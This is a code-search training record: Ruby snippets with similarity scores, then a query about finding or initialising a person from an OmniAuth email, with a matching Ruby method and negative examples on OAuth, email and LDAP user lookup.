"def two_sum(nums, target)\n results = []\n i = 1\n while i < nums.length\n diff = target - nums[i - 1]\n if nums[i..-1].include?(diff)\n idx = nums[i..-1].index(diff)\n results << i - 1 << idx + i\n end\n\n i += 1\n end\n\n results\nend",
"def single_number(nums)\n\nend",
"def two_sum(nums, target)\n return 0 if !nums || nums.size < 2\n nums = nums.sort\n count = 0\n left = 0\n right = nums.size - 1\n while left < right do \n if nums[left] + nums[right] <= target\n count += right - left\n left += 1\n else\n right -= 1\n end\n end\n count\nend",
"def climb_stairs_2(n)\n a = b = 1\n n.times { a, b = b, a + b }\n a\nend",
"def two_sum(nums)\n idx1 = 0\n while idx1 < nums.length\n idx2 = idx1 + 1\n while idx2 < nums.length\n if nums[idx1] + nums[idx2] == 0\n return [idx1, idx2]\n end\n\n idx2 += 1\n end\n\n idx1 += 1\n end\n\n return nil\nend",
"def two_sum(nums)\n idx1 = 0\n while idx1 < nums.length\n idx2 = idx1 + 1\n while idx2 < nums.length\n if nums[idx1] + nums[idx2] == 0\n return [idx1, idx2]\n end\n\n idx2 += 1\n end\n\n idx1 += 1\n end\n\n return nil\nend",
"def two_sum(nums)\n idx1 = 0\n while idx1 < nums.length\n idx2 = idx1 + 1\n while idx2 < nums.length\n if nums[idx1] + nums[idx2] == 0\n return [idx1, idx2]\n end\n\n idx2 += 1\n end\n\n idx1 += 1\n end\n\n return nil\nend",
"def two_sum(arr) #o(ns)\n set = Set.new\n arr.each{|el| set << el}\n arr.select{|el| set.include?(-1 * el)}\nend",
"def problem(a=100,b=100)\n (2..a).inject(0) {|s1,i| s1 += (2..b).inject(0) {|s2,j| @terms.add?(i**j) ? s2 += 1 : s2}}\n end",
"def three_sum(nums)\n n = nums.length\n result = []\n for i in 0...n-2\n req_sum = 0\n hsh = Hash.new\n curr_sum = req_sum - nums[i]\n \n for j in (i+1)...n\n num = curr_sum - nums[j]\n if hsh[num]\n elements = [nums[i], num, nums[j]].sort\n result << elements unless result.include?(elements)\n end\n hsh[nums[j]] = true\n end \n end\n result\nend",
"def get_squares(nums)\n nums_squared =[]\n nums.each { |num| nums_squared << num if nums.include?(num**2)}\n\n\n #(nums & nums_squared).sort # did not work as it only takes the instances, and not all of them\n #puts \"This is input: #{nums} and sqrt: #{nums_squared} \"\n return nums_squared.sort\nend",
"def problem_2\n first = 1\n second = 2\n total = 0\n\n while second < 4_000_000\n\n if second % 2 == 0\n total += second\n end\n\n n = second\n second = first + second\n first = n\n\n end\n\n puts total\n\nend",
"def merge(nums1, m, nums2, n)\n last = m + n - 1\n infinity = -2 ** (0.size * 8 - 1)\n m -= 1\n n -= 1\n while last >= 0\n first = m < 0 ? infinity : nums1[m]\n second = n < 0 ? infinity : nums2[n]\n if first > second\n nums1[last] = nums1[m]\n m -= 1\n else\n nums1[last] = nums2[n]\n n -= 1\n end\n \n last -= 1\n end\nend",
"def remove_duplicates(nums)\n return 0 if nums.length === 0\n\n curr_idx = 0\n j = 0\n val = nums[j]\n\n while curr_idx < nums.length\n curr_val = nums[curr_idx]\n if curr_val === val\n curr_idx += 1\n next\n else\n val = curr_val\n j += 1\n nums[j] = curr_val\n end\n end\n\n j + 1\nend",
"def remove_duplicates(nums)\n size, cursor = 0, 0\n while cursor < nums.size # iterating through each number in nums starting from the first number at index 0.\n num = nums[cursor] # as I iterate through each number, I will assign it to a variable called \"num\", i.e \"num\" will be constantly rewritten to the value that I am currently at as I iterate through the numbers.\n cursor += 1 # so that I can iterate.\n while nums[cursor] == num # if the duplicates are next to each other\n cursor += 1 # I iterate to the next number.\n end\n nums[size] = num # use num(which exclude the duplicates) again and assign it to nums[size] (which is the actual number). this step is just a checker so that the next step (size += 1) will be accurate, it is not actually removing the duplicates inline, i.e return nums will not give you the array without duplicates.\n size += 1 # After filtering out the duplicates, increase the counter by 1 every time we move on to another number.\n end\n return size\nend",
"def my_min_2(arr) #O(N)\n min_num = arr.first\n \n arr.each { |num| min_num = num if num < min_num }\n \n min_num\n end",
"def two_sum_ptr(nums, target)\n low, high = 0, nums.length - 1\n while( low < high)\n if(nums[low] + nums[high] == target)\n return [low + 1, high + 1]\n elsif nums[low] + nums[high] < target\n low += 1\n else\n high -= 1\n end\n end\nend",
"def cantor_pairing(n, m)\n (n + m) * (n + m + 1) / 2 + m\nend",
"def pairs_to_zero(nums)\n\n count = 0\n newArr = []\n\n for i in 0..nums.length do\n for j in 1..nums.length do\n if nums[i].to_i + nums[j].to_i == 0\n count = count + 1\n end\n end\n end\n return count-2\nend"
] | [
"0.63705766",
"0.6257732",
"0.6253977",
"0.61784875",
"0.61408997",
"0.61095667",
"0.6108676",
"0.608929",
"0.6072515",
"0.60372686",
"0.6022191",
"0.60155416",
"0.5977896",
"0.596774",
"0.5953833",
"0.5945491",
"0.5923407",
"0.5902848",
"0.59023833",
"0.5864047",
"0.58572924",
"0.5845471",
"0.5828795",
"0.5818694",
"0.5800242",
"0.57899773",
"0.5785625",
"0.577785",
"0.5766905",
"0.5753904",
"0.57514465",
"0.5750679",
"0.574672",
"0.57425964",
"0.5737261",
"0.57280165",
"0.5706801",
"0.5696144",
"0.56895816",
"0.56892705",
"0.56864357",
"0.5682547",
"0.5681365",
"0.5678442",
"0.56782633",
"0.5672369",
"0.565588",
"0.5650589",
"0.5649974",
"0.5647548",
"0.56470335",
"0.56429124",
"0.56397074",
"0.56295824",
"0.56290174",
"0.56132597",
"0.5603051",
"0.5601679",
"0.5597992",
"0.5597703",
"0.5596659",
"0.559196",
"0.55854386",
"0.55843604",
"0.5570487",
"0.5562922",
"0.55602306",
"0.5560216",
"0.55517375",
"0.5551681",
"0.5544843",
"0.5539852",
"0.5536247",
"0.553443",
"0.5524681",
"0.5524396",
"0.5523089",
"0.5521329",
"0.55200523",
"0.5516488",
"0.5516434",
"0.55142075",
"0.5513424",
"0.55086577",
"0.55075836",
"0.5505712",
"0.5503344",
"0.5503344",
"0.5503344",
"0.5500338",
"0.5497632",
"0.54946405",
"0.5491778",
"0.54912186",
"0.5478778",
"0.5474895",
"0.54712045",
"0.5470444",
"0.54681915",
"0.54666454",
"0.5464022"
] | 0.0 | -1 |
Tries to find a person record with an email address matching the one returned from the omniauth provider. If none was found, a new person is initialised with the basic information from the provider | def person
@person ||= Person.find_or_initialize_by email: @auth[:info][:email] do |p|
if %i(first_name last_name).all? { |f| @auth[:info].key? f }
# If the oauth provider gave us first and last name, use them
p.first_name = @auth[:info][:first_name]
p.last_name = @auth[:info][:last_name]
else
p.name = @auth[:info][:name]
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def find_or_create_for_omniauth auth, &block\n email = auth.info.email\n # This is just a placeholder for indexes and validations etc.\n # (twitter doesn't give us an email)\n email ||= \"#{auth.info.nickname || auth.uid}@#{auth.provider}.auth\"\n\n user = find_for_omniauth auth\n user ||= find_or_initialize_by email: email\n\n user.omniauth!(auth, &block) and user\n end",
"def apply_omniauth(omniauth)\r\n self.email = omniauth['user_info']['email'] if email.blank?\r\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\r\n end",
"def find_user_by_email(auth_token, user_email, origin_oem_str)\n return nil if user_email.blank?\n body = { :auth_token => auth_token }\n options = { body: body.to_json,\n method: :get,\n return_err_value: nil,\n query: {email: user_email,\n origin_oem_str: origin_oem_str}\n }\n user = call_external_service_with_service_token(Aylauth::Settings.user_service_base_url + \"/api/v1/public/users/show_by_email.json\", options)\n return if user.blank?\n return UserData.new(user)\n end",
"def find_or_create_user\n @user = User.find_by(email: auth_email)\n @user ||= create_new_user\n save_omniauth_details\n\n @user\n end",
"def find_email\n val = @email\n return if val.nil? \n val = LdapQuery::Scanner.search(val).as_user_attributes[:email] \n if val.nil?\n errors.add :base, 'Email address not found'\n return false\n end\n @email = val\n xdelegate = User.find_by_email(val.to_s)\n if xdelegate.nil?\n errors.add :base, 'Email does not have an account on this website'\n return false\n else\n self.delegate_user_id = xdelegate.id\n end\n\n end",
"def from_omniauth(auth)\n user = where(email: auth.info.email).first\n if user.nil?\n user = User.new email: auth.info.email,\n password: Devise.friendly_token[0,20],\n first_name: auth.info.first_name,\n last_name: auth.info.last_name,\n username: auth.info.username, # assuming the user model has a name\n image_url: auth.info.image # assuming the user model has an image\n user.skip_confirmation!\n user.save!\n end\n user\n end",
"def find_with_email email\n raise_simple(:login, \"exceptions.auth.invalid\") unless where(email: email).exists?\n find_by(email: email)\n end",
"def find_by_email(email)\n sender = Client.get(\"#{path}/find_by_email\", query: { email: email })\n initialize_from_hash(sender['user'])\n end",
"def apply_facebook(omniauth)\n if (info = omniauth['info'] rescue false)\n self.email = (info['email'] rescue '')\n end\n end",
"def apply_omniauth(omniauth, confirmation)\n self.email = omniauth['info']['email'] if email.blank?\n # Check if email is already into the database => user exists\n apply_trusted_services(omniauth, confirmation) if self.new_record?\n end",
"def create_from_omniauth(omniauth_hash)\n info_hash = omniauth_hash['info']\n return nil unless email = info_hash && info_hash['email']\n user = User.new\n user.credentials << Credentials::Email.new(email: email, verified: true)\n user.save!\n user\n end",
"def init_by_email(email)\n if email.present?\n where(email: email).first_or_initialize\n else\n new\n end\n end",
"def apply_omniauth(auth)\n # In previous omniauth, 'user_info' was used in place of 'raw_info'\n self.email = auth['extra']['raw_info']['email']\n # Again, saving token is optional. If you haven't created the column in authentications table, this will fail\n authentications.build(:provider => auth['provider'], :uid => auth['uid'], :token => auth['credentials']['token'])\n end",
"def by_email email\n query = { \"and\" => [{ \"email\" => { \"is\"=> email } },{ \"record type\"=> { \"is\"=> \"person\" }} ] }\n resp = @nimble.get 'contacts', { :query => query.to_json }\n self.contact = resp['resources'].first\n return nil unless self.contact\n self\n end",
"def from_omniauth(auth)\n raise 'UnknownProvider' unless omniauth_providers.include?(auth.provider)\n adapter = SuperbAuth.adapter_for(auth.to_hash)\n user = init_by_email(adapter.email)\n identity = user.identities.build(provider: auth.provider, uid: auth.uid, data: auth.to_hash)\n user.get_user_info_from_identity(identity)\n user\n end",
"def apply_omniauth(omniauth)\n self.email = omniauth['user_info']['email'] if email.blank?\n apply_trusted_services(omniauth) if self.new_record?\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end",
"def apply_omniauth(omniauth)\n # self.email = omniauth['info']['email'] if email.blank? # Twitter does not return an email\n authentications.build(provider: omniauth[\"provider\"], uid: omniauth[\"uid\"])\n end",
"def apply_omniauth(omniauth)\n self.email = omniauth['info']['email'] if email.blank?\n self.username = omniauth['info']['name'] if username.blank?\n puts \"******************************\"\n puts omniauth\n puts \"******************************\"\n authentications.build(provider:omniauth['provider'], uid:omniauth['uid'])\n end",
"def apply_facebook(omniauth)\n if (extra = omniauth['extra']['user_hash'] rescue false)\n self.email = (extra['email'] rescue '')\n end\nend",
"def find_user_by_email email\r\n response = make_request 'GetShopperByEmail', { :email => email }\r\n return unless valid?\r\n response = response.to_hash[:GetShopperByEmailResponse].try(:[], :GetShopperByEmailResult)\r\n { :first_name => response[:FirstName], :last_name => response[:LastName], :rewards_id => response[:ShopperId] } if response\r\n end",
"def ensure_user_byemail(email, name)\n users = db[:users]\n usr = users.first(:email => email)\n\n if usr.nil?\n\n u = retrieve_user_byemail(email, name)\n\n if u.nil? or u['login'].nil?\n warn \"Could not retrieve user #{email} through search API query\"\n login = (0...8).map { 65.+(rand(25)).chr }.join\n users.insert(:email => email,\n :name => name,\n :login => login,\n :fake => true,\n :deleted => false,\n :created_at => Time.now)\n info \"Added user fake #{login} -> #{email}\"\n users.first(:login => login)\n else\n in_db = users.first(:login => u['login'])\n geo = geolocate(location: u['location'])\n if in_db.nil?\n users.insert(:login => u['login'],\n :name => u['name'],\n :company => u['company'],\n :email => u['email'],\n :long => geo[:long],\n :lat => geo[:lat],\n :country_code => geo[:country_code],\n :state => geo[:state],\n :city => geo[:city],\n :fake => false,\n :deleted => false,\n :created_at => date(u['created_at']))\n info \"Added user #{u['login']} (#{email}) through search API query\"\n else\n in_db.update(:name => u['name'],\n :company => u['company'],\n :email => u['email'],\n :long => geo[:long],\n :lat => geo[:lat],\n :country_code => geo[:country_code],\n :state => geo[:state],\n :city => geo[:city],\n :fake => false,\n :deleted => false,\n :created_at => date(u['created_at']))\n debug \"User #{u['login']} with email #{email} exists\"\n end\n users.first(:login => u['login'])\n end\n else\n debug \"User with email #{email} exists\"\n usr\n end\n end",
"def find_or_create_via_omniauth(attributes, existing_user=nil)\n identity = lookup(attributes[:uid], attributes[:provider])\n if(identity)\n Fission::Data.logger.info \"Found existing identity: #{identity.inspect}\"\n else\n Fission::Data.logger.info \"No existing identity found! Creating new user: #{attributes[:uid]}\"\n source = Source.find_or_create(:name => attributes[:provider])\n username = attributes[:info].try(:[], :nickname) ||\n attributes[:info].try(:[], :login) ||\n attributes[:info].try(:[], :email) ||\n unique_id\n user = User.find_by_username(username)\n unless(user)\n user = User.new(:username => username)\n user.run_state.identity_provider = attributes[:provider]\n user.source = source if source\n user.save\n end\n identity = Identity.new\n identity.user = user\n end\n identity.provider = attributes[:provider]\n identity.uid = attributes[:uid]\n identity.extras = attributes[:extras]\n identity.credentials = attributes[:credentials]\n identity.infos = attributes[:info]\n identity.source = source if source\n # Set login time\n identity.user.session[:login_time] = Time.now.to_f\n identity.user.save_session\n unless(identity.save)\n Fission::Data.logger.error identity.errors.inspect\n raise identity.errors unless identity.save\n end\n identity\n end",
"def apply_omniauth(omniauth)\n self.email = omniauth['user_info']['email'] if email.blank?\n\n if nick.blank?\n self.nick = (omniauth['user_info']['first_name'] || omniauth['user_info']['nickname'] ||\n omniauth['user_info']['name'] ||omniauth['user_info']['email'])\n end\n\n self.email_alert = false\n self.sms_alert = false\n self.weekend = false\n\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end",
"def email_address_record\n @email_address_record ||= begin\n EmailAddress.find_with_confirmed_or_unconfirmed_email(email)\n end\n end",
"def lookup_and_create_account( id )\n\n # lookup locally with the default email\n user = User.find_by_email( User.email_from_cid( id ) )\n return user if user.present?\n\n # if we cannot find them, lookup in LDAP\n user_info = user_info_by_cid( id )\n return nil if user_info.nil?\n\n # now look them up with the located email\n user = User.find_by_email( user_info.email )\n return user if user.present?\n\n # create their account\n return User.new_user( user_info, user_info.email )\n end",
"def find_using_oauth_email(oauth_data, oauth_user_id)\r\n user = nil\r\n oauth_email = oauth_data.info.email\r\n if oauth_email.present?\r\n user = self.find_by(email: oauth_email)\r\n if user.present? && user.oauth_user_id.blank?\r\n user.oauth_user_id = oauth_user_id\r\n else\r\n user = nil # don't update if has an oauth user id (will error on duplicate email validation)\r\n end\r\n end\r\n user\r\n end",
"def find_or_create_registration(opts, params:, **)\n auth = params.fetch(:env).fetch('omniauth.auth')\n email = auth['info']['email']\n account = Account.find_or_initialize_by(email: email)\n\n # If an account with this email doesn't already exists in the DB, we need\n # to create it:\n if account.new_record?\n password = SecureRandom.hex\n result = Registration::Create.(\n account: {\n email: email,\n first_name: auth['info']['first_name'],\n password: password,\n password_confirmation: password,\n },\n )\n raise unless result.success? # this should never happen\n account = result['model']\n # We don't actually use this fb_token for anything yet; I just want to\n # store it so we have a record of who signed up from FB, as opposed to\n # signing up through the regular form. Tbh I haven't even looked very\n # closely into how the FB login is supposed to work; if we want to do\n # with FB in future then maybe this token isn't the right thing to\n # store. Proceed with caution:\n account.update_without_password(fb_token: auth['credentials']['token'])\n end\n opts['model'] = account\n end",
"def email; default_profile.try :email; end",
"def resolve(name:, email:)\n user = User.create(name: name, email: email)\n {user: user}\n end",
"def find_client_by_email(email)\n rsp = HTTParty.get(HOST + \"/api/v2/desk/people/search?q=#{email}&fields=email&access_token=#{ACCESS_TOKEN}\")\n raise \"Request failed: #{rsp.code}, #{rsp}\" unless rsp.success?\n\n if rsp['results'].length > 0\n rsp['results'][0]['person']['id']\n end\nend",
"def callback\n auth = env['omniauth.auth']\n\n person = Person.find_by(email: auth.info.email)\n if person\n user = User.find_by(person: person)\n if not user\n user = User.new\n user.person = person\n end\n user.oauth_token = auth.credentials.token\n user.oauth_expires_at = Time.at(auth.credentials.expires_at)\n user.save!\n\n session[:user_id] = user.id\n if person.mentees.empty? && !person.admin?\n redirect_to root_path\n else\n redirect_to '/dashboard/'\n end\n\n else\n redirect_to google_unregistered_path\n end\n end",
"def find_or_initialize_with_error_by_email(value, error)\n if value.present?\n record = find_by_email(value)\n end\n \n unless record\n record = new\n \n if value.present?\n record.email = value\n else\n error = :blank\n end\n \n record.errors.add(:email, error)\n end\n \n record\n end",
"def identify(username_or_email)\n return nil if username_or_email.blank? or username_or_email == 'Public'\n \n if username_or_email =~ /@/ \n active.find_by_email(username_or_email)\n else\n active.find_by_username(username_or_email)\n end \n end",
"def find_or_initialize_identity\n Identity.where(provider: auth.provider, uid: auth.uid).first_or_initialize do |i|\n i.data = auth.to_h\n end\n end",
"def identify\n @user = User.new\n if omniauth = session[:omniauth]\n @provider = omniauth.provider.capitalize\n @user.apply_omniauth(omniauth)\n end\n end",
"def omniauth \n\n @user = User.create_by_google_omniauth(auth)\n # @user = User.find_or_create_by(username: auth[:info][:email]) do |u| #moved this method to user model\n # u.password = SecureRandom.hex \n # end\n\n session[:user_id] = @user.id\n #if you havent set the password, it wont assign a userid, which means we won't have a user here to deal with\n redirect_to user_path(@user)\n\n #User.where(email: auth[:info][:email]).first_or_initialize\n #both .where method and .find_or_create_by method accomplish same thing\n \n end",
"def from_omniauth auth\n user = User.find_by email: auth.info.email\n\n user = User.new unless user.present?\n user.name = auth.info.name.present? ? auth.info.name : auth.info.email\n user.email = auth.info.email\n user.provider = auth.provider\n user.password = User.generate_unique_secure_token if user.new_record?\n user.token = auth.credentials.token\n user.refresh_token = auth.credentials.refresh_token\n user.save\n user\n end",
"def find_contact_for_signin(email:, firstname:, lastname:, date_of_birth:)\n filter = filter_pairs(emailaddress2: email, emailaddress1: email)\n\n store.fetch(Contact, filter: filter, limit: 20, order: 'createdon desc')\n .find { |c| c.signin_attributes_match? firstname, lastname, date_of_birth }\n .tap { |c| crmlog \"Read contact #{c.contactid}\" if c }\n end",
"def verify_person(username_or_email)\r\n password = params[:person][:password]\r\n if username_or_email.rindex('@')\r\n email = username_or_email\r\n person = Person.authenticate_by_email(email, password)\r\n else\r\n username = username_or_email\r\n person = Person.authenticate_by_username(username, password)\r\n end\r\n\r\n person\r\n end",
"def from_omniauth(auth)\n # Provider is the customer name if in loadbalanced config mode\n provider = auth['provider'] == \"bn_launcher\" ? auth['info']['customer'] : auth['provider']\n find_or_initialize_by(email: auth_email(auth)).tap do |u|\n u.social_uid = auth['uid']\n u.provider = provider\n u.last_name = auth_name(auth) unless u.last_name.present?\n u.first_name = auth_first_name(auth) unless u.first_name.present?\n u.username = auth_username(auth) unless u.username.present?\n u.image = auth_image(auth) unless u.image.present?\n u.business_name = u.auth_business unless u.business_name.present?\n auth_roles(u, auth)\n u.email_verified = true\n u.save!\n u.set_role :user\n end\n end",
"def apply_omniauth(omniauth)\n info = omniauth[\"info\"]\n\n user_name = %Q(#{info[\"first_name\"]} #{info[\"last_name\"]})\n user_name.gsub!(/\\s+/, \" \").strip!\n\n self.provider = omniauth[\"provider\"]\n self.uid = omniauth[\"uid\"]\n self.name = user_name if self.name.blank?\n self.email = info[\"email\"] if info[\"email\"] && self.email.blank?\n self\n end",
"def find_by_email(email:)\n users.where(email: email).first\n end",
"def find_by_omniauth(auth)\n identity = User::Identity.find_by(provider: auth.provider, uid: auth.uid)\n identity.user if identity\n end",
"def from_omniauth(auth)\n parent_from_omniauth = where(email: auth.info.email).first\n end",
"def create_or_find_user\n User.find_or_create_by(provider: auth_hash['provider'], uid: auth_hash['uid']) do |user|\n user.email = auth_hash['info']['email']\n user.name = auth_hash['info']['name']\n user.username = auth_hash['extra']['raw_info']['login']\n user.public_repos = auth_hash['extra']['raw_info']['public_repos']\n end\n end",
"def get_user_by_email(email)\n User.find_by(:email => email)\nend",
"def get_or_create_rec(params, request)\n if /invalid_credentials/.match(params['message'])\n # invalid credentials failure (from failure callback)\n Rails.logger.error(\"*** invalid credentials\")\n ret = Access.new\n ret.provider = params['strategy']\n ret.errors.add(:base, \"invalid credentials\")\n return ret\n else\n # not a failure callback process it.\n omni_hash = request.env['omniauth.auth']\n provider = params['provider'] rescue nil\n uid = omni_hash[:uid] rescue nil\n email = omni_hash[:info][:email] rescue nil\n # look up this authorization via two scopes, and confirm they are the same record\n matching_uids = Access.match_provider_uid(params['provider'], uid)\n matching_emails = Access.match_provider_email(params['provider'], email)\n # Key consistency checks\n if matching_uids.count == 0 && matching_emails.count == 0\n # no matching records in database, return a new record\n return Access.new\n elsif matching_uids.count == 1 &&\n matching_emails.count == 1 &&\n matching_uids.first.id == matching_emails.first.id\n # record is same from both lookups\n return matching_uids.first\n else\n # mismatched records in database return one with error\n ret = matching_emails.first\n ret.errors.add(:base, \"Mismatched lookups by uid: #{uid.inspect} and email: #{email.inspect}\")\n return ret\n end\n end\n end",
"def find_or_create_client(email, first_name, last_name)\n print \"Looking up client by email: #{email}...\"\n person_id = find_client_by_email(email)\n if person_id\n puts \"FOUND: #{person_id}\"\n else\n puts \"not found\"\n print \"Creating client for #{email}...\"\n person = create_object(\"people\", person: {email: email, first_name: first_name, last_name: last_name})\n puts \"CREATED: #{person['id']} (put this in a safe place)\"\n end\nend",
"def by_email address, options={}, headers={}\n params = options.merge({ email: address })\n @connection.get \"users/by_email.json\", params, headers\n end",
"def find(email = nil)\n\n # Search cache\n if self.use_cache\n uid = self.cache[email]\n return uid if uid\n end\n\n # Search LDAP for the email address as given\n filter = Net::LDAP::Filter.eq('mail', email)\n @ldap.search(attributes: ['uid'], base: self.base, filter: filter) do |entry|\n uid = get_uid(email, entry)\n return uid if uid\n end\n\n # The exact email address wasn't found, try the form \"username@domain\" if the username component looks like\n # a username (assumes that usernames do not contain punctuation)\n user, domain = email.split('@')\n unless user.nil? || user.empty? || user.include?('.')\n filter = Net::LDAP::Filter.eq('uid', user)\n @ldap.search(attributes: ['uid'], base: self.base, filter: filter) do |entry|\n uid = get_uid(email, entry)\n return uid if uid\n end\n end\n\n # No matches found\n nil\n\n end",
"def get_data(email)\n if !email.is_a? String\n error = InvalidOptions.new(['Email(String)'], ['Email(String)'])\n raise error\n end\n\n get_request '/profile_lookup/', :person_email => email\n end",
"def apply_omniauth(omniauth)\n #add some info about the user\n self.login ||= omniauth['user_info']['nickname']\n self.picture_url = omniauth['user_info']['image']\n self.email ||= omniauth['user_info']['email']\n #self.nickname = omniauth['user_info']['nickname'] if nickname.blank?\n \n # unless omniauth['credentials'].blank?\n # user_tokens.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n # else\n user_tokens.build(:provider => omniauth['provider'], :uid => omniauth['uid'], \n :token => omniauth['credentials']['token'], :token_secret => omniauth['credentials']['secret'])\n # end\n #self.confirm!# unless user.email.blank?\n end",
"def email_address\n authentications.emails.active.first.uid rescue nil\n end",
"def from_email\n EmailAddress.find(:all).first\n end",
"def find_username\n # Default to the nickname provided in the Omniauth details. If a nickname\n # was not provided or a user with the same username already exists, use the\n # e-mail address as the username.\n username = auth_nickname\n username = auth_email if username.blank? ||\n User.exists?(username: username)\n\n username\n end",
"def find_user_from_invitee_email\n return if invitee_email.nil?\n\n self.user = ::User.find_by(email: invitee_email)\n errors.add(:invitee_email, 'is not a registered user') if user.nil?\n end",
"def create\n omniauth = request.env['omniauth.auth']\n authentication = Authentication.find_by_provider_and_uid(omniauth['provider'], omniauth['uid'])\n if authentication\n flash[:notice] = \"Signed in successfully\"\n sign_in_and_redirect(:user, authentication.user)\n else\n user = User.new\n user.apply_omniauth(omniauth)\n user.email = omniauth['extra'] && omniauth['extra']['user_hash'] && omniauth['extra']['user_hash']['email']\n if user.save\n flash[:notice] = \"Successfully registered\"\n sign_in_and_redirect(:user, user)\n else\n session[:omniauth] = omniauth.except('extra')\n session[:omniauth_email] = omniauth['extra'] && omniauth['extra']['user_hash'] && omniauth['extra']['user_hash']['email']\n\n # Check if email already taken. If so, ask user to link_accounts\n if user.errors[:email][0] =~ /has already been taken/ # omniauth? TBD\n # fetch the user with this email id!\n user = User.find_by_email(user.email)\n return redirect_to link_accounts_url(user.id)\n end\n redirect_to new_user_registration_url\n end\n end\n end",
"def get_default_partner(user_email)\n u = TestChamber::Models::User.where(:email => user_email).first\n raise \"Could not find a user on the system that matched the email '#{user_email}'.\" unless u\n u.partners.first.id\nend",
"def find_or_create_user(extractor)\n Email.find_by_email(extractor.email).try(:user) ||\n IclaSignature.find_by_email(extractor.email).try(:user) ||\n User.create! do |user|\n user.first_name = extractor.first_name\n user.last_name = extractor.last_name\n end\n end",
"def find_or_create(auth)\n user = User.joins(:social_networks)\n .where(\"social_networks.provider = ?\", auth.provider)\n .where(\"social_networks.uid = ?\", auth.uid)\n .first\n\n unless user\n user = User.new(email: auth.info.email, password: Devise.friendly_token[0,20])\n\n user.social_networks.build(\n provider: auth.provider,\n token: auth.credentials.token,\n uid: auth.uid,\n raw_info: auth.to_hash\n )\n\n if user.save\n user.attributes = {\n gender: auth.extra.raw_info.gender.present? ? auth.extra.raw_info.gender : \"male\",\n full_name: auth.info.name,\n introduction: auth.extra.raw_info.bio.present? ? auth.extra.raw_info.bio : \"\"\n }\n user.save\n end\n end\n\n # return user\n user\n end",
"def me_user_email\n email = Email.find_primary(me).take if auth?\n email.email || ''\n end",
"def for(email)\n response = Gravatar.http_client.get(url(email, :json), follow_redirect: true)\n\n return nil unless response.ok?\n return nil unless response = JSON.parse(response.body)\n return nil unless response = response['entry'][0] rescue nil\n\n new(response)\n end",
"def get_user_email\n unless auth_hash\n return nil if recaptcha_enabled? && !verify_recaptcha\n return params['email']\n end\n\n case auth_hash.provider\n when 'twitter'\n auth_hash.info.nickname\n when 'github'\n check_user_github_organizations ? auth_hash.info.email : nil\n else\n auth_hash.info.email\n end\n end",
"def find_person\r\n if (params[:u] == nil || params[:u] == '')\r\n require_login || return\r\n @person = User.current\r\n else\r\n @person = Person.find(params[:u])\r\n end\r\n rescue ActiveRecord::RecordNotFound\r\n render_404\r\n end",
"def email_address\n (email_addresses.where(primary: true).first || email_addresses.first).try(:email) ||\n current_address.try(:email) ||\n permanent_address.try(:email) ||\n user.try(:username)\n end",
"def find_user_by_email(email: user&.email)\n users = client.list_users(\"active\", {\n filter: email,\n order: \"ascending\",\n page: 1\n })\n\n users.first\n end",
"def email_address\n raw_info['email_addresses'] && raw_info['email_addresses'].first\n end",
"def email_from_infos\n user_infos.map(&:email).try(:first)\n end",
"def set_person_email_address\n @person_email_address = PersonEmailAddress.find(params[:id])\n end",
"def find_account(accounts, email)\n accounts.each do |acc|\n if acc.email == email\n return acc\n end\n end\n\n return nil\nend",
"def load_profile(token)\n profile = GoogleService.user_info(token)\n email_field = profile[\"emails\"].select do |email| \n email[\"type\"] == \"account\"\n end\n\n email = email_field[0][\"value\"] if email_field && email_field.size > 0\n\n {:displayName => profile[\"displayName\"],\n :image => profile[\"image\"][\"url\"],\n :url => profile[\"url\"],\n :email => email} \n end",
"def friend_email=(value)\n new_friend = User.find(:first, :conditions => { :email => value })\n raise(ActiveRecord::RecordNotFound) unless(new_friend)\n self.friend = new_friend\n end",
"def email\n @json['profile']['email'] rescue nil\n end",
"def apply_omniauth(omniauth)\n if omniauth['provider'] == 'facebook'\n\n #Buscar info\n self.email = omniauth['info']['email']\n self.name = omniauth['info']['name']\n\n #location é composto por \"Cidade, Pais\"\n if omniauth['info']['location'] != nil\n location = omniauth['info']['location'].split(\", \")\n else\n location = ''\n end\n #location = omniauth['info']['location'].split(\", \")\n\n #buscar cidade do location\n\n city = City.find_by city: location[0]\n if city != nil\n \tself.city = city\n end\n\n\n #buscar imagem\n #if omniauth['info']['image']!=nil\n # self.avatar = URI.parse(omniauth['info']['image'])\n #end\n\n omni_authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n elsif omniauth['provider'] == 'twitter'\n #Buscar info\n self.name = omniauth['info']['name']\n\n #buscar cidade do location\n city = City.find_by city: omniauth['info']['location']\n if city != nil\n \tself.city = city\n end\n\n #buscar imagem\n #if omniauth['info']['image']!=nil\n # self.avatar = URI.parse(omniauth['info']['image'])\n #end\n\n omni_authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n elsif omniauth['provider'] == 'google_oauth2'\n #Buscar info\n self.email = omniauth['info']['email']\n self.name = omniauth['info']['name']\n\n #Google não contem cidade\n\n omni_authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end\n\n end",
"def set_email(email = nil, email_selector = nil, ldap_lookup = nil)\n self.email = email || []\n if email_selector\n # Get the primary email address from the address list\n self.primary_email = email_selector.email(self.email)\n # Get the username from the primary email address\n if ldap_lookup and self.primary_email\n self.username = ldap_lookup.find(self.primary_email)\n else\n self.username = nil\n end\n else\n self.primary_email = nil\n self.username = nil\n end\n end",
"def find_email(email)\n @users.select { |user| user[:email].eql? email }.first\n end",
"def get_account_profile_by_email(email, fields = '')\n if isNullOrWhiteSpace(email)\n raise LoginRadius::Error.new, getValidationMessage('email')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['apiSecret'] = @api_secret\n query_parameters['email'] = email\n unless isNullOrWhiteSpace(fields)\n query_parameters['fields'] = fields\n end\n\n resource_path = 'identity/v2/manage/account'\n get_request(resource_path, query_parameters, nil)\n end",
"def user_info_by_email( email )\n id = User.cid_from_email( email )\n return user_info_by_cid( id )\n end",
"def record_from_name( name, surname = nil )\n if ( name.kind_of?( Name ) )\n givenname = name.givenname\n surname = name.surname || ''\n else\n givenname = name\n surname = surname || ''\n end\n username = random_username( givenname.to_ascii(),\n surname.to_ascii() )\n domain = random_domain()\n EmailAddress.new( username, domain )\n end",
